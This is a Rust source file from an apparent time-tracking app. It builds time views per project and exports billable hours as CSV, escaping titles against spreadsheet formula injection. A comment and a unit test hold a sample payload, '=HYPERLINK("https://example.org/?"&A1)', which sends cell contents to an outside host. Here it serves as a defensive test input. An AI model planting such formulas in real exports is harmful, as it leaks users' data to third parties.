Skip to main content

sioul_core/
timereport.rs

1// SPDX-License-Identifier: GPL-3.0-or-later
2// Copyright © 2026 Aurélien Pierre
3
4//! Time spent, as the Time page and a project's page show it: a bar per day
5//! (per month over a year), the hours of each project, and for work done for
6//! someone, what is left to bill. A session counts for its own project when
7//! it names one, else for its task's project for a client, else its task's
8//! first project.
9
10use crate::projects::Project;
11use crate::i18n::Translator;
12use crate::money::Money;
13use crate::tasks::Task;
14use crate::timelog::Session;
15use jiff::Span;
16use jiff::civil::Date;
17use jiff::tz::TimeZone;
18use serde::Serialize;
19
20/// One stretch of time, its project and task found.
21#[derive(Debug, Clone, PartialEq, Serialize)]
22pub struct Entry {
23    pub key: String,
24    pub start: i64,
25    pub day: Date,
26    pub minutes: u32,
27    /// The project's id; "" when it counts for none.
28    pub project: String,
29    pub task: String,
30    /// The task's title, else the note, else the project's title.
31    pub title: String,
32    pub note: String,
33    /// Work for someone, not marked as given.
34    pub billable: bool,
35    pub invoice: String,
36}
37
38/// Each session with its project and title.
39pub fn entries(sessions: &[Session], tasks: &[Task], projects: &[Project], zone: &TimeZone) -> Vec<Entry> {
40    sessions
41        .iter()
42        .map(|s| {
43            let task = tasks.iter().find(|t| !s.task.is_empty() && t.uid == s.task);
44            // The task's project for a client first, else its first project.
45            let from_task = task.and_then(|t| t.projects.iter().find(|c| projects.iter().any(|x| x.id == **c && x.is_for_client())).or(t.projects.first())).cloned();
46            let project = if s.project.is_empty() { from_task.unwrap_or_default() } else { s.project.clone() };
47            let found = projects.iter().find(|c| c.id == project);
48            let title = match task {
49                Some(t) => t.title.clone(),
50                None if !s.note.is_empty() => s.note.clone(),
51                None => found.map(|c| c.title.clone()).unwrap_or_default(),
52            };
53            Entry {
54                key: s.key(),
55                start: s.start,
56                day: jiff::Timestamp::from_second(s.start).map(|t| t.to_zoned(zone.clone()).date()).unwrap_or(Date::ZERO),
57                minutes: s.minutes,
58                // The task's own word first, else its project's: work for a client is billed.
59                billable: task.and_then(|t| t.billable).unwrap_or_else(|| found.is_some_and(Project::is_for_client)) && !s.unbilled,
60                project,
61                task: s.task.clone(),
62                title,
63                note: s.note.clone(),
64                invoice: s.invoice.clone(),
65            }
66        })
67        .collect()
68}
69
70/// What `minutes` at `rate` an hour come to, to the cent.
71pub fn amount(minutes: u32, rate: f64) -> Money {
72    Money((f64::from(minutes) * rate * 100.0 / 60.0).round() as i64)
73}
74
75/// "45 min", "2 h", "2 h 30".
76pub fn duration(minutes: u32) -> String {
77    match (minutes / 60, minutes % 60) {
78        (0, m) => format!("{m} min"),
79        (h, 0) => format!("{h} h"),
80        (h, m) => format!("{h} h {m:02}"),
81    }
82}
83
84/// One project's time.
85#[derive(Debug, Clone, Serialize)]
86pub struct ProjectTime {
87    pub id: String,
88    pub title: String,
89    /// Its place among the colours of the bars.
90    pub index: usize,
91    pub minutes: u32,
92    pub time: String,
93    pub billable: bool,
94    /// Billable time not on an invoice yet, whenever it was spent.
95    pub unbilled_minutes: u32,
96    pub unbilled: String,
97    pub unbilled_amount: String,
98    pub rate: f64,
99}
100
101/// One bar: a day, or a month over a year.
102#[derive(Debug, Clone, Serialize)]
103pub struct Bar {
104    pub label: String,
105    pub date: String,
106    pub minutes: u32,
107    /// Minutes by project, in the order of `projects`.
108    pub parts: Vec<u32>,
109    pub today: bool,
110}
111
112/// One stretch of time, as listed.
113#[derive(Debug, Clone, Serialize)]
114pub struct EntryView {
115    pub key: String,
116    pub date: String,
117    pub time: String,
118    pub title: String,
119    pub project: String,
120    pub project_title: String,
121    pub note: String,
122    pub billable: bool,
123    pub invoice: String,
124    /// Noted by hand: it can be taken out. Every stretch not billed can be changed.
125    pub by_hand: bool,
126    /// As the form takes it: "2026-10-03", from "14:30" to "15:15", minutes.
127    pub day: String,
128    pub at: String,
129    pub until: String,
130    pub minutes: u32,
131    /// The task it was given to (its UID); "" for a project alone.
132    pub task: String,
133    /// How its minutes were known: "measured", "typed", "corrected", "unknown"
134    /// (`timelog::Kind`), and that in a word, said quietly; set by the caller.
135    pub kind: String,
136    pub kind_said: String,
137}
138
139/// The Time page, for a week, a month or a year.
140#[derive(Debug, Clone, Serialize)]
141pub struct TimeView {
142    /// "Week of 28 September", "October 2026", "2026".
143    pub title: String,
144    pub period: String,
145    /// The first day shown, to move from.
146    pub from: String,
147    pub total: String,
148    pub projects: Vec<ProjectTime>,
149    pub bars: Vec<Bar>,
150    pub most: u32,
151    pub entries: Vec<EntryView>,
152    /// "Nothing noted this week.", when so.
153    pub sentence: String,
154}
155
156/// A project's billable time from `from` to `to` (both included), as a
157/// spreadsheet reads it: what was done, how many hours, at what rate, for how
158/// much, one line per task (or note), then the total. Nothing else: a full
159/// invoice is the invoice's (invoice.rs). In French, `;` between fields and a
160/// decimal comma, as French spreadsheets expect; else `,` and a point.
161pub fn billable_csv(all: &[Entry], project: &Project, from: Date, to: Date, default_rate: f64, french: bool, words: [&str; 5]) -> String {
162    let (sep, decimal) = if french { (';', ',') } else { (',', '.') };
163    let number = |value: f64| format!("{value:.2}").replace('.', &decimal.to_string());
164    // A title is text, never a formula: one starting with "=", "+", "-", "@" (a task made from
165    // someone's mail, `=HYPERLINK(…)`) would run in the spreadsheet; a quote before it keeps it text.
166    let field = |text: &str| {
167        let text = if text.starts_with(['=', '+', '-', '@', '\t', '\r']) { format!("'{text}") } else { text.to_string() };
168        if text.contains([sep, '"', '\n', '\r']) { format!("\"{}\"", text.replace('"', "\"\"")) } else { text }
169    };
170    let rate = project.rate.unwrap_or(default_rate);
171    let mut by_what: Vec<(String, u32)> = Vec::new();
172    for e in all.iter().filter(|e| e.project == project.id && e.billable && e.day >= from && e.day <= to) {
173        let what = if e.title.trim().is_empty() { project.title.clone() } else { e.title.trim().to_string() };
174        match by_what.iter_mut().find(|(w, _)| *w == what) {
175            Some((_, minutes)) => *minutes += e.minutes,
176            None => by_what.push((what, e.minutes)),
177        }
178    }
179    let [what, hours, per_hour, amount_word, total] = words;
180    let mut out = [what, hours, per_hour, amount_word].map(field).join(&sep.to_string()) + "\r\n";
181    let mut minutes_total = 0;
182    for (what, minutes) in &by_what {
183        minutes_total += minutes;
184        let money = amount(*minutes, rate);
185        out.push_str(&[field(what), number(f64::from(*minutes) / 60.0), number(rate), number(money.cents() as f64 / 100.0)].join(&sep.to_string()));
186        out.push_str("\r\n");
187    }
188    let money = amount(minutes_total, rate);
189    out.push_str(&[field(total), number(f64::from(minutes_total) / 60.0), String::new(), number(money.cents() as f64 / 100.0)].join(&sep.to_string()));
190    out.push_str("\r\n");
191    out
192}
193
194/// The first and last day of `period` ("week", "month", "year") around `anchor`.
195pub fn bounds(period: &str, anchor: Date) -> (Date, Date) {
196    match period {
197        "year" => (anchor.first_of_year(), anchor.last_of_year()),
198        "month" => (anchor.first_of_month(), anchor.last_of_month()),
199        _ => {
200            let monday = anchor.checked_sub(Span::new().days(i64::from(anchor.weekday().to_monday_zero_offset()))).unwrap_or(anchor);
201            (monday, monday.checked_add(Span::new().days(6)).unwrap_or(monday))
202        }
203    }
204}
205
206/// What the Time page shows for `period` around `anchor`, every project or one.
207pub fn view(all: &[Entry], projects: &[Project], sessions_by_hand: &dyn Fn(&str) -> bool, period: &str, anchor: Date, project: Option<&str>, default_rate: f64, today: Date, tr: &Translator) -> TimeView {
208    let (from, to) = bounds(period, anchor);
209    let wanted = |e: &&Entry| project.is_none_or(|p| e.project == p);
210    let shown: Vec<&Entry> = all.iter().filter(wanted).filter(|e| e.day >= from && e.day <= to).collect();
211    // Projects with time in the period, the most first; then those with time left to bill.
212    let mut ids: Vec<String> = Vec::new();
213    for e in &shown {
214        if !ids.contains(&e.project) {
215            ids.push(e.project.clone());
216        }
217    }
218    let minutes_of = |id: &str| shown.iter().filter(|e| e.project == id).map(|e| e.minutes).sum::<u32>();
219    ids.sort_by_key(|id| std::cmp::Reverse(minutes_of(id)));
220    for e in all.iter().filter(wanted).filter(|e| e.billable && e.invoice.is_empty()) {
221        if !ids.contains(&e.project) {
222            ids.push(e.project.clone());
223        }
224    }
225    let times: Vec<ProjectTime> = ids
226        .iter()
227        .enumerate()
228        .map(|(index, id)| {
229            let found = projects.iter().find(|c| c.id == *id);
230            let rate = found.and_then(|c| c.rate).unwrap_or(default_rate);
231            let unbilled_minutes: u32 = all.iter().filter(|e| e.project == *id && e.billable && e.invoice.is_empty()).map(|e| e.minutes).sum();
232            let minutes = minutes_of(id);
233            ProjectTime {
234                id: id.clone(),
235                title: found.map_or_else(|| tr.text(if id.is_empty() { "time-no-project" } else { "time-gone-project" }, None), |c| c.title.clone()),
236                index,
237                minutes,
238                time: duration(minutes),
239                billable: found.is_some_and(Project::is_for_client),
240                unbilled_minutes,
241                unbilled: if unbilled_minutes > 0 { duration(unbilled_minutes) } else { String::new() },
242                unbilled_amount: if unbilled_minutes > 0 && rate > 0.0 { tr.money(amount(unbilled_minutes, rate)) } else { String::new() },
243                rate,
244            }
245        })
246        .collect();
247    let part_of = |entries: &[&&Entry]| -> Vec<u32> { ids.iter().map(|id| entries.iter().filter(|e| e.project == *id).map(|e| e.minutes).sum()).collect() };
248    let bars: Vec<Bar> = if period == "year" {
249        (1..=12)
250            .filter_map(|m| Date::new(from.year(), m, 1).ok())
251            .map(|first| {
252                let here: Vec<&&Entry> = shown.iter().filter(|e| e.day.year() == first.year() && e.day.month() == first.month()).collect();
253                Bar {
254                    // The language's own short names: three letters gave French June and July both "jui".
255                    label: tr.month_short(first),
256                    date: first.to_string(),
257                    minutes: here.iter().map(|e| e.minutes).sum(),
258                    parts: part_of(&here),
259                    today: today.year() == first.year() && today.month() == first.month(),
260                }
261            })
262            .collect()
263    } else {
264        let mut days = Vec::new();
265        let mut day = from;
266        while day <= to {
267            let here: Vec<&&Entry> = shown.iter().filter(|e| e.day == day).collect();
268            days.push(Bar {
269                label: if period == "week" { tr.weekday_short(day) } else { day.day().to_string() },
270                date: day.to_string(),
271                minutes: here.iter().map(|e| e.minutes).sum(),
272                parts: part_of(&here),
273                today: day == today,
274            });
275            day = match day.tomorrow() {
276                Ok(next) => next,
277                Err(_) => break,
278            };
279        }
280        days
281    };
282    let total: u32 = shown.iter().map(|e| e.minutes).sum();
283    let mut listed: Vec<&&Entry> = shown.iter().collect();
284    listed.sort_by_key(|e| std::cmp::Reverse(e.start));
285    let title = match period {
286        "year" => from.year().to_string(),
287        "month" => tr.month_year(from),
288        _ => {
289            let mut args = crate::i18n::args();
290            args.set("day", tr.day_month(from));
291            tr.text("time-week-of", Some(&args))
292        }
293    };
294    TimeView {
295        title,
296        period: period.to_string(),
297        from: from.to_string(),
298        total: duration(total),
299        most: bars.iter().map(|b| b.minutes).max().unwrap_or(0),
300        bars,
301        entries: listed
302            .into_iter()
303            .map(|e| EntryView {
304                key: e.key.clone(),
305                date: tr.day(e.day),
306                time: duration(e.minutes),
307                title: e.title.clone(),
308                project: e.project.clone(),
309                project_title: times.iter().find(|p| p.id == e.project).map(|p| p.title.clone()).unwrap_or_default(),
310                note: if e.note == e.title { String::new() } else { e.note.clone() },
311                billable: e.billable,
312                invoice: e.invoice.clone(),
313                by_hand: sessions_by_hand(&e.key),
314                day: e.day.to_string(),
315                at: jiff::Timestamp::from_second(e.start).map(|t| t.to_zoned(jiff::tz::TimeZone::system()).strftime("%H:%M").to_string()).unwrap_or_default(),
316                until: jiff::Timestamp::from_second(e.start + i64::from(e.minutes) * 60).map(|t| t.to_zoned(jiff::tz::TimeZone::system()).strftime("%H:%M").to_string()).unwrap_or_default(),
317                minutes: e.minutes,
318                task: e.task.clone(),
319                kind: String::new(),
320                kind_said: String::new(),
321            })
322            .collect(),
323        sentence: if total == 0 { tr.text(&format!("time-nothing-{period}"), None) } else { String::new() },
324        projects: times,
325    }
326}
327
328#[cfg(test)]
329mod tests {
330    use super::*;
331
332    #[test]
333    fn billable_time_as_a_spreadsheet() {
334        let day = |d: &str| d.parse::<Date>().unwrap();
335        let entry = |title: &str, d: &str, minutes: u32, billable: bool| Entry { key: String::new(), start: 0, day: day(d), minutes, project: "studio".into(), task: String::new(), title: title.into(), note: String::new(), billable, invoice: String::new() };
336        let all = vec![entry("Logo; second draft", "2026-10-01", 90, true), entry("Logo; second draft", "2026-10-02", 30, true), entry("Call", "2026-10-02", 60, false), entry("Site", "2026-11-01", 60, true)];
337        let studio = Project { id: "studio".into(), title: "Studio".into(), rate: Some(60.0), ..Project::default() };
338        let csv = billable_csv(&all, &studio, day("2026-10-01"), day("2026-10-31"), 50.0, true, ["Quoi", "Heures", "Taux horaire", "Montant", "Total"]);
339        assert_eq!(csv, "Quoi;Heures;Taux horaire;Montant\r\n\"Logo; second draft\";2,00;60,00;120,00\r\nTotal;2,00;;120,00\r\n");
340        let english = billable_csv(&all, &studio, day("2026-01-01"), day("2026-12-31"), 50.0, false, ["What", "Hours", "Hourly rate", "Amount", "Total"]);
341        assert!(english.ends_with("Total,3.00,,180.00\r\n"), "{english}");
342        // A title that a spreadsheet would run as a formula stays text.
343        let formula = vec![entry("=HYPERLINK(\"https://example.org/?\"&A1)", "2026-10-01", 60, true)];
344        let csv = billable_csv(&formula, &studio, day("2026-10-01"), day("2026-10-31"), 50.0, false, ["What", "Hours", "Hourly rate", "Amount", "Total"]);
345        assert!(csv.contains("\r\n\"'=HYPERLINK(\"\"https://example.org/?\"\"&A1)\",1.00,60.00,60.00\r\n"), "{csv}");
346    }
347
348    fn project(id: &str, for_client: bool, rate: Option<f64>) -> Project {
349        Project { id: id.into(), title: id.to_uppercase(), kind: for_client.then(|| "project".to_string()), rate, ..Project::default() }
350    }
351
352    #[test]
353    fn time_by_project_and_left_to_bill() {
354        let zone = TimeZone::UTC;
355        let day = |d: &str, h: i8| Date::from(d.parse::<Date>().unwrap()).at(h, 0, 0, 0).to_zoned(zone.clone()).unwrap().timestamp().as_second();
356        let site = Task { uid: "t".into(), title: "Build the site".into(), projects: vec!["housing".into(), "lumen".into()], ..Task::default() };
357        let sessions = vec![
358            Session { task: "t".into(), start: day("2026-10-05", 9), minutes: 90, ..Session::default() },
359            Session { project: "lumen".into(), start: day("2026-10-06", 14), minutes: 30, note: "Call with the client".into(), ..Session::default() },
360            Session { project: "lumen".into(), start: day("2026-10-06", 16), minutes: 60, invoice: "2026-001".into(), ..Session::default() },
361            Session { project: "housing".into(), start: day("2026-10-07", 10), minutes: 45, ..Session::default() },
362            Session { project: "lumen".into(), start: day("2026-09-20", 10), minutes: 15, unbilled: true, ..Session::default() },
363        ];
364        let projects = vec![project("housing", false, None), project("lumen", true, Some(60.0))];
365        let all = entries(&sessions, &[site], &projects, &zone);
366        // The task counts for its project for a client, not its first project.
367        assert_eq!(all[0].project, "lumen");
368        assert!(all[0].billable && !all[3].billable && !all[4].billable);
369        let tr = Translator::new("en");
370        let today: Date = "2026-10-07".parse().unwrap();
371        let week = view(&all, &projects, &|_| false, "week", today, None, 40.0, today, &tr);
372        assert_eq!(week.total, "3 h 45");
373        assert_eq!(week.bars.len(), 7);
374        assert_eq!((week.bars[0].minutes, week.bars[1].minutes, week.bars[2].minutes), (90, 90, 45));
375        let lumen = &week.projects[0];
376        assert_eq!((lumen.id.as_str(), lumen.minutes, lumen.unbilled_minutes), ("lumen", 180, 120));
377        assert_eq!(lumen.unbilled_amount, tr.money(Money(12000)));
378        assert_eq!(week.entries[0].title, "HOUSING", "newest first, titled by its project");
379        let year = view(&all, &projects, &|_| false, "year", today, Some("lumen"), 40.0, today, &tr);
380        assert_eq!((year.bars.len(), year.bars[8].minutes, year.bars[9].minutes), (12, 15, 180));
381        assert_eq!(amount(50, 60.0), Money(5000));
382        assert_eq!((duration(45).as_str(), duration(120).as_str(), duration(150).as_str()), ("45 min", "2 h", "2 h 30"));
383    }
384}